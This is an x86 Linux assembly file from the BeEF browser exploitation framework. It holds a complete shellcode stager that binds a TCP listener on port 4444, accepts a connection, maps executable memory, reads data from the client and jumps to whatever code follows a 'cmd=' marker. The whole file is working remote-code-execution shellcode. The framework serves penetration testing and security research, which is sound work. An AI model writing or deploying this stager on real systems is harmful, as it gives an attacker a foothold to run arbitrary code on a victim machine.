; Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
; Browser Exploitation Framework (BeEF) - http://beefproject.com
; See the file 'doc/COPYING' for copying permission

BITS 32

SECTION .text

global _start
_start:
	cld ;clear direction flag
	xor eax, eax ;zero eax
	xor edx, edx ;zero edx

	;initialize socket
	push BYTE 0x01
	pop ebx ;SYS_SOCKET
	push eax ;  proto = 0 
	inc eax
	push eax ;SOCK_STREAM = 1
	inc eax 
	push eax ;AF_INET = 2
	mov ecx, esp ; ptr to argument array
	push BYTE 0x66
	pop eax ;socketcall is syscall #102	
	int 0x80
	mov esi, eax ;save socket filediscriptor

	push BYTE 0x0E
	pop ebx ;SYS_SETSOCKOPT
	push BYTE 0x04  ;sizeof socklen_t
	push esp ; address of socklen_t
	push BYTE 0x02  ;SO_REUSEADDR = 2
	push BYTE 0x01 ;SOL_SOCKET = 1
	push esi ;socket fd
	mov ecx, esp ;ptr to argument array
	push BYTE 0x66
	pop eax ; socketcall is syscall #102
	int 0x80

	;bind socket to port
	push BYTE 0x02
	pop ebx ;SYS_BIND
	push edx ;INADDR_ANY
	push 0x5c110002 ;PORT 0x115C = 4444
	mov ecx, esp ;server struct
	push BYTE 0x10 ;addrlen
	push ecx
	push esi ;socketfd
	mov ecx, esp ; ptr to argument array
	push BYTE 0x66
	pop eax ;socketcall is syscall #102
	int 0x80

	inc ebx
	inc ebx ;SYS_LISTEN
	push ebx ;backlog
	push esi ;socketfd
	mov ecx, esp ;ptr to argument array
	push BYTE 0x66
	pop eax ;socketcall is syscall #102
	int 0x80

	inc ebx ;SYS_ACCEPT
	push edx ;socklen = 0
	push edx ;sockaddr ptr = NULL
	push esi ;socketfd
	mov ecx, esp ; ptr to argument array
	push BYTE 0x66
	pop eax ;socketcall is syscall #102
	int 0x80

	xchg esi, eax ;serversocket in eax and client socket handler into esi
	xchg eax, ebx ;serversocket in ebx
	mov eax, 0x6 ;close serversocket
	int 0x80

	push BYTE 0x00 ;offset =0
	push 0xFFFFFFFF ;fd = -1
	push BYTE 0x22 ;MAP_ANONYMOUS | MAP_PRIVATE
	push BYTE 0x07 ;PROT_READ | PROT_WRITE | PROT_EXEC
	push 0x1000 ;allocated size
	push BYTE 0x00 ;system determines location
	mov ebx, esp ;ptr tot argument array
	push BYTE 0x5a
	pop eax ;MMAP call
	int 0x80
	mov edi, eax ;ptr to allocated memory

	; read from socket into memory
	mov dx, 0x1000 ;max bytes to read
	mov ecx, edi ;pointer to memory
	mov ebx, esi ;clientsocket
	push BYTE 0x03
	pop eax
	int 0x80	

	push BYTE 0x06
	pop eax ;close clientsocket
	int 0x80

search:
	cmp DWORD [edi], 0x3d646d63 ;compare with "cmd="
	je short found ;jump if found
	inc edi ;look some further
	jmp short search
found:
	push BYTE 0x04 
	pop eax
	add edi, eax ;skip "cmd="
	jmp edi ;jump to the staged shellcode
